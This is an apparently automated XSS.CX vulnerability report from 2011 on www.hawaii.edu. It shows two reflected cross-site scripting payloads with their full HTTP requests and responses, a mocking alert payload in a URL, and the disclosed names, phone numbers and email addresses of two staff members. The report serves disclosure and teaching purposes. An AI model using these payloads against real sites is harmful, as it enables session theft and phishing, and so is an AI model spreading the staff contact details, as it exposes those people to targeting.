XSS, DORK, Cybersecurity, www.hawaii.edu, Cross Site Scripting

http://www.hawaii.edu/cybersecurity72768%22%3E%3Cscript%3Ealert(%22IDIOT%22)%3C/script%3E6cb577da8e/

Report generated by XSS.CX at Sun Apr 17 09:33:51 CDT 2011.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

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1. Cross-site scripting (reflected)

1.1. http://www.hawaii.edu/cybersecurity/ [REST URL parameter 1]

1.2. http://www.hawaii.edu/favicon.ico [REST URL parameter 1]

2. Email addresses disclosed

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/cybersecurity/ [REST URL parameter 1]
/favicon.ico [REST URL parameter 1]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.hawaii.edu/cybersecurity/ [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.hawaii.edu
Path:	/cybersecurity/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72768"><script>alert(1)</script>6cb577da8e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cybersecurity72768"><script>alert(1)</script>6cb577da8e/ HTTP/1.1
Host: www.hawaii.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 17 Apr 2011 14:18:20 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7d Resin/3.1.8 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 6367
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="c
...[SNIP]...
<input type="text" name="this" value="/cybersecurity72768"><script>alert(1)</script>6cb577da8e/" size="60">
...[SNIP]...

1.2. http://www.hawaii.edu/favicon.ico [REST URL parameter 1] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.hawaii.edu
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ed25"><script>alert(1)</script>b6c02b9894 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico5ed25"><script>alert(1)</script>b6c02b9894 HTTP/1.1
Host: www.hawaii.edu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sun, 17 Apr 2011 14:32:19 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7d Resin/3.1.8 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 6364
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="c
...[SNIP]...
<input type="text" name="this" value="/favicon.ico5ed25"><script>alert(1)</script>b6c02b9894" size="60">
...[SNIP]...

2. Email addresses disclosed previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hawaii.edu
Path:	/cybersecurity/

Issue detail

The following email addresses were disclosed in the response:

jodi@hawaii.edu
wiss@hawaii.edu

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /cybersecurity/ HTTP/1.1
Host: www.hawaii.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:18:14 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7d Resin/3.1.8 PHP/5.2.6
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
Content-Length: 12897

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<p>For more information on any of these activities, please contact: Jodi Ito, 956-2400 (jodi@hawaii.edu) or Larry Wiss, ITS Communications Officer, 956-9393 (wiss@hawaii.edu)</p>
...[SNIP]...

Report generated by XSS.CX at Sun Apr 17 09:33:51 CDT 2011.